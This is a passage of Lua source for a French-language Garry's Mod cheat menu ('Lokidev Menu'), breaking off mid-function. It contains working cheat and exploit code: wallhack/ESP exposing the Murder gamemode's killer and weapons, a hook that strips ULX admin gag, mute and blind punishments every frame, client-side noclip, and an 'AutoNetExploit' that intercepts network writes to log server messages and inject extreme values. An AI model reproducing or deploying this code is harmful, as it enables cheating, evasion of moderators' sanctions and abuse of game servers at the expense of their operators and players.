  4717. if gmod.GetGamemode().Name == "Murder" then
  4718. RunConsoleCommand("Murder_Check");
  4719. RunConsoleCommand("Murder_ESP", 1);
  4720. RunConsoleCommand("Murder_Auto", 1);
  4721. RunConsoleCommand("Murder_Names", 1);
  4722. RunConsoleCommand("Murder_Evidence", 1);
  4723. else
  4724. RunConsoleCommand("Murder_ESP", 0);
  4725. RunConsoleCommand("Murder_Auto", 0);
  4726. RunConsoleCommand("Murder_Names", 0);
  4727. RunConsoleCommand("Murder_Evidence", 0);
  4728. end
  4729. local twep = {"weapon_mu_knife"}
  4730. local tgun = {"weapon_mu_magnum"}
  4731. CreateClientConVar("Murder_ESP", "0", true, false)
  4732. CreateClientConVar("Murder_Auto", "0", true, false)
  4733. CreateClientConVar("Murder_Names", "0", true, false)
  4734. CreateClientConVar("Murder_Evidence", "0", true, false)
  4735. local ply = LocalPlayer()
  4736. local round = true
  4737. function check()
  4738. for _,v in pairs( ents.GetAll() ) do
  4739. local pl = v.Owner
  4740. if IsValid(pl) and !v.hatESPTracked then
  4741. if table.HasValue(twep, v:GetClass()) then
  4742. if IsValid(v) then
  4743. local col = pl:GetPlayerColor()
  4744. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4745. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " est le ", Color(255, 0, 0), "MURDER")
  4746. else
  4747. chat.AddText(Color(200, 200, 200), "Le COUTEAU est sur le sol.")
  4748. end
  4749. end
  4750. if table.HasValue(tgun, v:GetClass()) then
  4751. if IsValid(v) then
  4752. local col = pl:GetPlayerColor()
  4753. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4754. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " a le ", Color(0, 255, 0), "PISTOLET")
  4755. else
  4756. chat.AddText(Color(200, 200, 200), "Le PISTOLET est sur le sol.")
  4757. end
  4758. end
  4759. end
  4760. end
  4761. end
  4762. concommand.Add( "Murder_Check", check)
  4763. function teleport()
  4764. ply:SetPos(ply:EyePos())
  4765. end
  4766. concommand.Add( "Murder_teleport", teleport)
  4767. function getNames()
  4768. for _,v in pairs( player.GetAll() ) do
  4769. if IsValid(v) then
  4770. local col = v:GetPlayerColor()
  4771. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4772. if (v:Alive()) then
  4773. chat.AddText(col, v:Name(), " : ", v:GetNWString("bystanderName"))
  4774. else
  4775. chat.AddText(Color( 255, 30, 40 ), "*MORT* ", col, v:Name(), " : ", v:GetNWString("bystanderName"))
  4776. end
  4777. end
  4778. end
  4779. end
  4780. concommand.Add( "Murder_getNames", getNames)
  4781. hook.Add("CreateMove", "murder_checker", function()
  4782. if(GetConVarNumber("Murder_Auto") == 1) and GAMEMODE.RoundStage == 1 and round == false then
  4783. round = true
  4784. for _,v in pairs( ents.GetAll() ) do
  4785. local pl = v.Owner
  4786. if IsValid(pl) and !v.hatESPTracked then
  4787. if IsValid(v) and table.HasValue(twep, v:GetClass()) then
  4788. local col = pl:GetPlayerColor()
  4789. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4790. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " est le ", Color(255, 0, 0), "MURDER")
  4791. end
  4792. if IsValid(v) and table.HasValue(tgun, v:GetClass()) then
  4793. local col = pl:GetPlayerColor()
  4794. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4795. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " a le ", Color(0, 255, 0), "PISTOLET")
  4796. end
  4797. end
  4798. end
  4799. elseif GAMEMODE.RoundStage != 1 then
  4800. round = false
  4801. end
  4802. end)
  4803. hook.Add( "HUDPaint", "aimbot.Wallhack", function()
  4804. for k,v in pairs ( player.GetAll() ) do
  4805. local Position = ( v:GetPos() + Vector( 0,0,80 ) ):ToScreen()
  4806. local Name = ""
  4807. if v == ply then Name = "" else Name = v:Name() end
  4808. end
  4809. end )
  4810. local function coordinates( ent )
  4811. local min, max = ent:OBBMins(), ent:OBBMaxs()
  4812. local corners = {
  4813. Vector( min.x, min.y, min.z ),
  4814. Vector( min.x, min.y, max.z ),
  4815. Vector( min.x, max.y, min.z ),
  4816. Vector( min.x, max.y, max.z ),
  4817. Vector( max.x, min.y, min.z ),
  4818. Vector( max.x, min.y, max.z ),
  4819. Vector( max.x, max.y, min.z ),
  4820. Vector( max.x, max.y, max.z )
  4821. }
  4822. local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
  4823. for _, corner in pairs( corners ) do
  4824. local onScreen = ent:LocalToWorld( corner ):ToScreen()
  4825. minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
  4826. maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
  4827. end
  4828. return minX, minY, maxX, maxY
  4829. end
  4830. local function MESPCheck(v)
  4831. if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= ply && ply:Alive() then
  4832. return true
  4833. else
  4834. return false
  4835. end
  4836. end
  4837. hook.Add("HUDPaint", "ESPs", function()
  4838. if(GetConVarNumber("Murder_ESP") == 1) then
  4839. for k,v in pairs(player.GetHumans()) do
  4840. for k,v2 in pairs(v:GetWeapons()) do
  4841. if v2:GetClass() == "weapon_mu_knife" and MESPCheck(v) then
  4842. cam.Start3D(EyePos(), EyeAngles())
  4843. --v:SetMaterial("models/debug/debugwhite")
  4844. --v:SetColor(Color(255, 0, 0, 255))
  4845. --render.MaterialOverride("models/debug/debugwhite")
  4846. --render.SuppressEngineLighting( false )
  4847. --render.SetBlend( 0.3 )
  4848. --render.SetColorModulation( 1, 0, 0 )
  4849. --v:DrawModel()
  4850. cam.End3D()
  4851. elseif v2:GetClass() == "weapon_mu_magnum" and MESPCheck(v) then
  4852. cam.Start3D(EyePos(), EyeAngles())
  4853. --v:SetMaterial("models/debug/debugwhite")
  4854. --v:SetColor(Color(0, 0, 255, 255))
  4855. --render.MaterialOverride("models/debug/debugwhite")
  4856. --render.SuppressEngineLighting( false )
  4857. --render.SetBlend( 0.3 )
  4858. --render.SetColorModulation( 0, 0, 1 )
  4859. --v:DrawModel()
  4860. cam.End3D()
  4861. end
  4862. end
  4863. if(GetConVarNumber("Murder_Names") == 1) and MESPCheck(v) then
  4864. local ESP = (v:EyePos() + Vector( 0,0,85 ) ):ToScreen()
  4865. local col = v:GetPlayerColor()
  4866. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4867. local x1,y1,x2,y2 = coordinates(v)
  4868. surface.SetDrawColor(col)
  4869. draw.DrawText(v:GetNWString("bystanderName"), "ChatFont", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4870. end
  4871. end
  4872. end
  4873. if(GetConVarNumber("Murder_Evidence") == 1) then
  4874. for k, v in pairs(ents.FindByClass("mu_loot")) do
  4875. if IsValid(v) then
  4876. cam.Start3D(EyePos(), EyeAngles())
  4877. v:SetMaterial("models/debug/debugwhite")
  4878. v:SetColor(Color(0, 0, 1, 255))
  4879. render.MaterialOverride("models/debug/debugwhite")
  4880. render.SuppressEngineLighting( false )
  4881. render.SetBlend( 0.3 )
  4882. render.SetColorModulation( 0, 1, 0 )
  4883. v:DrawModel()
  4884. cam.End3D()
  4885. local ESP = (v:EyePos()):ToScreen()
  4886. local col = v:GetPlayerColor()
  4887. col = Color(0, 255, 0)
  4888. local x1,y1,x2,y2 = coordinates(v)
  4889. surface.SetDrawColor(col)
  4890. draw.DrawText("EQUIPEMENT", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4891. end
  4892. end
  4893. for k, v in pairs(ents.FindByClass("weapon_mu_knife")) do
  4894. if IsValid(v) then
  4895. cam.Start3D(EyePos(), EyeAngles())
  4896. v:SetMaterial("models/debug/debugwhite")
  4897. v:SetColor(Color(255, 0, 0, 255))
  4898. render.MaterialOverride("models/debug/debugwhite")
  4899. render.SuppressEngineLighting( false )
  4900. render.SetBlend( 0.3 )
  4901. render.SetColorModulation( 1, 0, 0 )
  4902. v:DrawModel()
  4903. cam.End3D()
  4904. local p = v:GetOwner()
  4905. local ESP = (v:EyePos()):ToScreen()
  4906. local col = v:GetPlayerColor()
  4907. col = Color(255, 0, 0)
  4908. local x1,y1,x2,y2 = coordinates(v)
  4909. if IsValid(p) then
  4910. else
  4911. surface.SetDrawColor(col)
  4912. end
  4913. draw.DrawText("COUTEAU", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4914. end
  4915. end
  4916. for k, v in pairs(ents.FindByClass("mu_knife")) do
  4917. if IsValid(v) then
  4918. cam.Start3D(EyePos(), EyeAngles())
  4919. v:SetMaterial("models/debug/debugwhite")
  4920. v:SetColor(Color(255, 0, 0, 255))
  4921. render.MaterialOverride("models/debug/debugwhite")
  4922. render.SuppressEngineLighting( false )
  4923. render.SetBlend( 0.3 )
  4924. render.SetColorModulation( 1, 0, 0 )
  4925. v:DrawModel()
  4926. cam.End3D()
  4927. local p = v:GetOwner()
  4928. local ESP = (v:EyePos()):ToScreen()
  4929. local col = v:GetPlayerColor()
  4930. col = Color(255, 0, 0)
  4931. local x1,y1,x2,y2 = coordinates(v)
  4932. if IsValid(p) then
  4933. else
  4934. surface.SetDrawColor(col)
  4935. end
  4936. draw.DrawText("COUTEAU", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4937. end
  4938. end
  4939. for k, v in pairs(ents.FindByClass("weapon_mu_magnum")) do
  4940. if IsValid(v) then
  4941. cam.Start3D(EyePos(), EyeAngles())
  4942. v:SetMaterial("models/debug/debugwhite")
  4943. v:SetColor(Color(0, 0, 255, 255))
  4944. render.MaterialOverride("models/debug/debugwhite")
  4945. render.SuppressEngineLighting( false )
  4946. render.SetBlend( 0.3 )
  4947. render.SetColorModulation( 0, 0, 1 )
  4948. v:DrawModel()
  4949. cam.End3D()
  4950. local p = v:GetOwner()
  4951. local ESP = (v:EyePos()):ToScreen()
  4952. local col = v:GetPlayerColor()
  4953. col = Color(0, 0, 255)
  4954. local x1,y1,x2,y2 = coordinates(v)
  4955. if IsValid(p) then
  4956. else
  4957. surface.SetDrawColor(col)
  4958. end
  4959. draw.DrawText("PISTOLET", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4960. end
  4961. end
  4962. for k, v in pairs(ents.FindByClass("mu_magnum")) do
  4963. if IsValid(v) then
  4964. cam.Start3D(EyePos(), EyeAngles())
  4965. v:SetMaterial("models/debug/debugwhite")
  4966. v:SetColor(Color(0, 0, 255, 255))
  4967. render.MaterialOverride("models/debug/debugwhite")
  4968. render.SuppressEngineLighting( false )
  4969. render.SetBlend( 0.3 )
  4970. render.SetColorModulation( 0, 0, 1 )
  4971. v:DrawModel()
  4972. cam.End3D()
  4973. local p = v:GetOwner()
  4974. local ESP = (v:EyePos()):ToScreen()
  4975. local col = v:GetPlayerColor()
  4976. col = Color(0, 0, 255)
  4977. local x1,y1,x2,y2 = coordinates(v)
  4978. if IsValid(p) then
  4979. else
  4980. surface.SetDrawColor(col)
  4981. end
  4982. draw.DrawText("PISTOLET", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4983. end
  4984. end
  4985. end
  4986. end)
  4987. function ULXgotOwned()
  4988. if LocalPlayer():GetNWBool("EV_Blinded") then
  4989. LocalPlayer():SetNWBool("EV_Blinded", false)
  4990. end
  4991. hook.Remove( "HUDPaint", "ulx_blind" )
  4992. timer.Destroy("GagLocalPlayer")
  4993. hook.Remove("PlayerBindPress", "ULXGagForce")
  4994. if LocalPlayer():GetNWBool("ulx_gagged") then
  4995. LocalPlayer():SetNWBool("ulx_gagged", false)
  4996. end
  4997. hook.Remove( "PlayerCanHearPlayersVoice", "ULXGag" )
  4998. if( ulx && ulx.gagUser ) then
  4999. ulx.gagUser(LocalPlayer(),false)
  5000. end
  5001. if LocalPlayer():GetNWBool("Muted") then
  5002. LocalPlayer():SetNWBool("Muted", false)
  5003. end
  5004. if LocalPlayer():GetNWBool("ulx_muted") then
  5005. LocalPlayer():SetNWBool("ulx_muted", false)
  5006. end
  5007. end
  5008. hook.Add("Think", "ULXDansTonCUL", ULXgotOwned)
  5009. ZNX.WraithVision = false
  5010. function ZNX.ToggleWraithVision()
  5011. local mapmaterials = Entity( 0 ):GetMaterials()
  5012. for k, v in pairs( mapmaterials ) do
  5013. local m = Material( v )
  5014. if !ZNX.WraithVision then m:SetFloat( "$alpha", 0.75 ) else m:SetFloat( "$alpha", 1 ) end
  5015. end
  5016. ZNX.WraithVision = !ZNX.WraithVision
  5017. end
  5018. concommand.Add( "LokiDev_wraith_vision", ZNX.ToggleWraithVision )
  5019. if (not file.Exists("Lokidev_DarkRP/Logger/Netcodelogger.txt", "Data"))
  5020. then file.Write("Lokidev_DarkRP/Logger/Netcodelogger.txt", "")
  5021. end
  5022. if !lognetmsg then
  5023. lognetmsg = {}
  5024. lognetmsg.NetStart = net.Start
  5025. lognetmsg.NetWriteDouble = net.WriteDouble
  5026. lognetmsg.NetWriteFloat = net.WriteFloat
  5027. lognetmsg.NetWriteString = net.WriteString
  5028. lognetmsg.NetWriteInt = net.WriteInt
  5029. end
  5030. function net.Start(mercipourlesnetcode)
  5031. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5032. return lognetmsg.NetStart(mercipourlesnetcode)
  5033. end
  5034. function net.WriteDouble(mercipourlesnetcode)
  5035. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5036. return lognetmsg.NetWriteDouble(mercipourlesnetcode)
  5037. end
  5038. function net.WriteFloat(mercipourlesnetcode)
  5039. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5040. return lognetmsg.NetWriteFloat(mercipourlesnetcode)
  5041. end
  5042. function net.WriteString(mercipourlesnetcode)
  5043. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5044. return lognetmsg.NetWriteString(mercipourlesnetcode)
  5045. end
  5046. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5047. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5048. return lognetmsg.NetWriteInt(mercipourlesnetcode, chuckzjtm)
  5049. end
  5050. function AutoNetExploit ()
  5051. if !autonet then
  5052. autonet = " Positif"
  5053. statutautoexploit = "Positif"
  5054. function net.Start(mercipourlesnetcode)
  5055. print("net.Start( "..mercipourlesnetcode.." )")
  5056. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5057. return lognetmsg.NetStart(mercipourlesnetcode)
  5058. end
  5059. function net.WriteDouble(mercipourlesnetcode)
  5060. print("net.WriteDouble( 1000000 )")
  5061. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5062. return lognetmsg.NetWriteDouble(1000000)
  5063. end
  5064. function net.WriteFloat(mercipourlesnetcode)
  5065. print("net.WriteFloat( 1000000 )")
  5066. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5067. return lognetmsg.NetWriteFloat(1000000)
  5068. end
  5069. function net.WriteString(mercipourlesnetcode)
  5070. print("net.WriteString( 1000000 )")
  5071. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5072. return lognetmsg.NetWriteString(1000000)
  5073. end
  5074. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5075. print("net.WriteInt( 1000000, "..chuckzjtm.." )")
  5076. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5077. return lognetmsg.NetWriteInt(1000000, chuckzjtm)
  5078. end
  5079. elseif autonet==" Positif" then
  5080. autonet = " Negatif"
  5081. statutautoexploit = "Négatif"
  5082. function net.Start(mercipourlesnetcode)
  5083. print("net.Start( "..mercipourlesnetcode.." )")
  5084. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5085. return lognetmsg.NetStart(mercipourlesnetcode)
  5086. end
  5087. function net.WriteDouble(mercipourlesnetcode)
  5088. print("net.WriteDouble( -1000000 )")
  5089. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5090. return lognetmsg.NetWriteDouble(-1000000)
  5091. end
  5092. function net.WriteFloat(mercipourlesnetcode)
  5093. print("net.WriteFloat( -1000000 )")
  5094. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5095. return lognetmsg.NetWriteFloat(-1000000)
  5096. end
  5097. function net.WriteString(mercipourlesnetcode)
  5098. print("net.WriteString( -1000000 )")
  5099. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5100. return lognetmsg.NetWriteString(-1000000)
  5101. end
  5102. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5103. print("net.WriteInt( -1000000, "..chuckzjtm.." )")
  5104. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5105. return lognetmsg.NetWriteInt(-1000000, chuckzjtm)
  5106. end
  5107. elseif autonet then
  5108. autonet = false
  5109. statutautoexploit = "Désactiver"
  5110. function net.Start(mercipourlesnetcode)
  5111. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5112. return lognetmsg.NetStart(mercipourlesnetcode)
  5113. end
  5114. function net.WriteDouble(mercipourlesnetcode)
  5115. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5116. return lognetmsg.NetWriteDouble(mercipourlesnetcode)
  5117. end
  5118. function net.WriteFloat(mercipourlesnetcode)
  5119. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5120. return lognetmsg.NetWriteFloat(mercipourlesnetcode)
  5121. end
  5122. function net.WriteString(mercipourlesnetcode)
  5123. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5124. return lognetmsg.NetWriteString(mercipourlesnetcode)
  5125. end
  5126. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5127. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5128. return lognetmsg.NetWriteInt(mercipourlesnetcode, chuckzjtm)
  5129. end
  5130. end
  5131. end
  5132. ZNX.Enabled = false
  5133. ZNX.ViewOrigin = Vector( 0, 0, 0 )
  5134. ZNX.ViewAngle = Angle( 0, 0, 0 )
  5135. ZNX.Velocity = Vector( 0, 0, 0 )
  5136. function ZNX.CalcView( ply, origin, angles, fov )
  5137. if ( !ZNX.Enabled ) then return end
  5138. if ( ZNX.SetView ) then
  5139. ZNX.ViewOrigin = origin
  5140. ZNX.ViewAngle = angles
  5141. ZNX.SetView = false
  5142. end
  5143. return { origin = ZNX.ViewOrigin, angles = ZNX.ViewAngle }
  5144. end
  5145. hook.Add( "CalcView", "MonsterBot-Noclip", ZNX.CalcView )
  5146. function ZNX.CreateMove( cmd )
  5147. if ( !ZNX.Enabled ) then return end
  5148. // Add and reduce the old velocity.
  5149. local time = FrameTime()
  5150. ZNX.ViewOrigin = ZNX.ViewOrigin + ( ZNX.Velocity * time )
  5151. ZNX.Velocity = ZNX.Velocity * 0.93
  5152. // Rotate the view when the mouse is moved.
  5153. local sensitivity = 0.022
  5154. ZNX.ViewAngle.p = math.Clamp( ZNX.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
  5155. ZNX.ViewAngle.y = ZNX.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
  5156. // What direction were going to move in.
  5157. local add = Vector( 0, 0, 0 )
  5158. local ang = ZNX.ViewAngle
  5159. if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
  5160. if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
  5161. if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
  5162. if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
  5163. if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
  5164. if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
  5165. // Speed.
  5166. add = add:GetNormal() * time * 900
  5167. if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 15 end
  5168. ZNX.Velocity = ZNX.Velocity + add
  5169. // This stops us looking around crazily while spiritwalking.
  5170. if ( ZNX.LockView == true ) then
  5171. ZNX.LockView = cmd:GetViewAngles()
  5172. end
  5173. if ( ZNX.LockView ) then
  5174. cmd:SetViewAngles( ZNX.LockView )
  5175. end
  5176. // This stops us moving while spiritwalking.
  5177. cmd:SetForwardMove( 0 )
  5178. cmd:SetSideMove( 0 )
  5179. cmd:SetUpMove( 0 )
  5180. end
  5181. hook.Add( "CreateMove", "MonsterBotNoclip", ZNX.CreateMove )
  5182. function ZNX.Toggle()
  5183. ZNX.Enabled = !ZNX.Enabled
  5184. ZNX.LockView = ZNX.Enabled
  5185. ZNX.SetView = true
  5186. local status = { [ true ] = "ON", [ false ] = "OFF" }
  5187. ChatPrint("ClientSide NoClip " .. status[ ZNX.Enabled ] )
  5188. end
  5189. CreateClientConVar("LokiDev_stopfalldmg_prop", "models/props_trainstation/trainstation_post001.mdl")
  5190. local toggler = 0
  5191. local ang
  5192. local view = {}
  5193. local function falldamage()
  5194. hook.Add("CreateMove", "anti-falldmg", function(cmd)
  5195. ang = cmd:GetViewAngles()
  5196. if toggler == 0 then
  5197. oriang = ang
  5198. toggler = 1
  5199. hook.Add("CalcView", "FlyCam", function(ply, ori, ang, fov, nz, fz)
  5200. view.origin = ori
  5201. view.angles = Angle(30, ang.yaw,0)
  5202. view.fov = fov
  5203. return view
  5204. end)
  5205. end
  5206. cmd:SetViewAngles(Angle(90, ang.yaw, 0))
  5207. local trace = LocalPlayer():GetEyeTrace()
  5208. if trace.HitWorld then
  5209. if LocalPlayer():GetPos():Distance(trace.HitPos) < 25 then
  5210. hook.Remove("CreateMove", "anti-falldmg")
  5211. RunConsoleCommand("gm_spawn", GetConVarString("LokiDev_stopfalldmg_prop"))
  5212. view.angles = view.angles or Angle(30, ang.yaw, 0)
  5213. cmd:SetViewAngles(view.angles)
  5214. hook.Remove("CalcView", "FlyCam")
  5215. toggler = 0
  5216. timer.Simple(.1, function()
  5217. RunConsoleCommand("undo")
  5218. end)
  5219. end
  5220. end
  5221. end)
  5222. end
  5223. if ZNX.Vars.SafeJump then
  5224. local keyjum = ZNX.NumberVars.SafeJumpBindKey
  5225. if ( input.IsKeyDown( keyjum ) or input.IsMouseDown( keyjum ) ) then
  5226. falldamage()
  5227. return
  5228. end
  5229. end
  5230. concommand.Add("LokiDev_stopfalldmg", falldamage)
  5231. function ShowLokidevInfo ()
  5232. local InfoFrame = vgui.Create( "DFrame" )
  5233. InfoFrame:SetPos( 50, 50 )
  5234. InfoFrame:SetSize( ScrW()-100,ScrH()-100 )
  5235. InfoFrame:SetTitle( " " )
  5236. InfoFrame:SetVisible( true )
  5237. InfoFrame:SetDraggable( true )
  5238. InfoFrame:ShowCloseButton( false )
  5239. InfoFrame.Paint = function ()
  5240. DrawRoundedBox ( 0, 0, 0, InfoFrame:GetWide(), InfoFrame:GetTall(), Color(0,0,0,225) )
  5241. DrawOutlinedText ( "Lokidev Menu Version 1.7", "Infotab", InfoFrame:GetWide()/2, 35, red, 2, black )
  5242. DrawRoundedBoxEx ( 0, 0, 75, InfoFrame:GetWide(), 25, Color(150,0,0,125), true, true, true, true )
  5243. DrawLine ( 675, 100, 675, 600 )
  5244. DrawOutlinedText ( "Liste des Commandes", "Logo", InfoFrame:GetWide()/2-60, 87, red, 1, black )
  5245. DrawOutlinedText ( "Information", "Logo", InfoFrame:GetWide()/2+160, 87, red, 1, black )
  5246. DrawOutlinedText ( "LokiDevs_Menu", "Menu", InfoFrame:GetWide()/2-60, 110, red, 1, black )
  5247. DrawOutlinedText ( "LokiDev_who", "Menu", InfoFrame:GetWide()/2-60, 130, red, 1, black )
  5248. DrawOutlinedText ( "fgtnoafk", "Menu", InfoFrame:GetWide()/2-60, 150, red, 1, black )
  5249. DrawOutlinedText ( "LokiDev_ents", "Menu", InfoFrame:GetWide()/2-60, 170, red, 1, black )
  5250. DrawOutlinedText ( "LokiDev_players", "Menu", InfoFrame:GetWide()/2-60, 190, red, 1, black )
  5251. DrawOutlinedText ( "LokiDev_stopfalldmg", "Menu", InfoFrame:GetWide()/2-60, 210, red, 1, black )
  5252. DrawOutlinedText ( "LokiDev_pk_tubelaunch", "Menu", InfoFrame:GetWide()/2-60, 230, red, 1, black )
  5253. DrawOutlinedText ( "LokiDev_climbswep", "Menu", InfoFrame:GetWide()/2-60, 250, red, 1, black )
  5254. DrawOutlinedText ( "LokiDev_inspectweapon", "Menu", InfoFrame:GetWide()/2-60, 270, red, 1, black )
  5255. DrawOutlinedText ( "LokiDev_dumpnwstrings", "Menu", InfoFrame:GetWide()/2-60, 290, red, 1, black )
  5256. DrawOutlinedText ( "LokiDev_dumphooks", "Menu", InfoFrame:GetWide()/2-60, 310, red, 1, black )
  5257. DrawOutlinedText ( "LokiDev_dumpcommands", "Menu", InfoFrame:GetWide()/2-60, 330, red, 1, black )
  5258. DrawOutlinedText ( "LokiDev_random_rp_job", "Menu", InfoFrame:GetWide()/2-60, 350, red, 1, black )
  5259. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 370, red, 1, black )
  5260. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 390, red, 1, black )
  5261. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 410, red, 1, black )
  5262. DrawOutlinedText2 ( "Ouvrir le ModMenu", "Menu", InfoFrame:GetWide()/2+100, 110, red, 1, black )
  5263. DrawOutlinedText2 ( "Info sur les joueurs", "Menu", InfoFrame:GetWide()/2+100, 130, red, 1, black )
  5264. DrawOutlinedText2 ( "Anti Afk Script", "Menu", InfoFrame:GetWide()/2+100, 150, red, 1, black )
  5265. DrawOutlinedText2 ( "Ouvrir l'Entité Menu", "Menu", InfoFrame:GetWide()/2+100, 170, red, 1, black )
  5266. DrawOutlinedText2 ( "Ouvrir le Menu des Joueurs", "Menu", InfoFrame:GetWide()/2+100, 190, red, 1, black )
  5267. DrawOutlinedText2 ( "Enleve les dégats de chute (le mieux c'est de bind la commande !)", "Menu", InfoFrame:GetWide()/2+100, 210, red, 1, black )
  5268. DrawOutlinedText2 ( "Lancer un Tube (PropsKill ^^)", "Menu", InfoFrame:GetWide()/2+100, 230, red, 1, black )
  5269. DrawOutlinedText2 ( "Assistance pour le Climb Swep", "Menu", InfoFrame:GetWide()/2+100, 250, red, 1, black )
  5270. DrawOutlinedText2 ( "Information sur votre arme", "Menu", InfoFrame:GetWide()/2+100, 270, red, 1, black )
  5271. DrawOutlinedText2 ( "Affiche tous les net code du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 290, red, 1, black )
  5272. DrawOutlinedText2 ( "Affiche tous les Hooks du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 310, red, 1, black )
  5273. DrawOutlinedText2 ( "Affiche toutes les Commandes du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 330, red, 1, black )
  5274. DrawOutlinedText2 ( "Vous mes un Métiers aleatoire (darkrp/prisonrp seulement)", "Menu", InfoFrame:GetWide()/2+100, 350, red, 1, black )
  5275. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 370, red, 1, black )
  5276. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 390, red, 1, black )
  5277. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 410, red, 1, black )
  5278. InfoFrame:MakePopup()
  5279. end
  5280. CreateButton ( "X", InfoFrame, black, Color(0,0,0,225), true, InfoFrame:GetWide()-50, -30, 50, 50, "Close", function () InfoFrame:Close() end )
  5281. end
  5282. function Animation()
  5283. if !animating then
  5284. animating = "flex"
  5285. animatinginfo = "Flex"
  5286. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1616") end)
  5287. elseif animating=="flex" then
  5288. animating = "muscle"
  5289. animatinginfo = "Muscle"
  5290. timer.Destroy("animating")
  5291. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1617") end)
  5292. elseif animating=="muscle" then
  5293. animating = "reverence"
  5294. animatinginfo = "Révérence"
  5295. timer.Destroy("animating")
  5296. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1612") end)
  5297. elseif animating=="reverence" then
  5298. animating = "vient"
  5299. animatinginfo = "Vient"
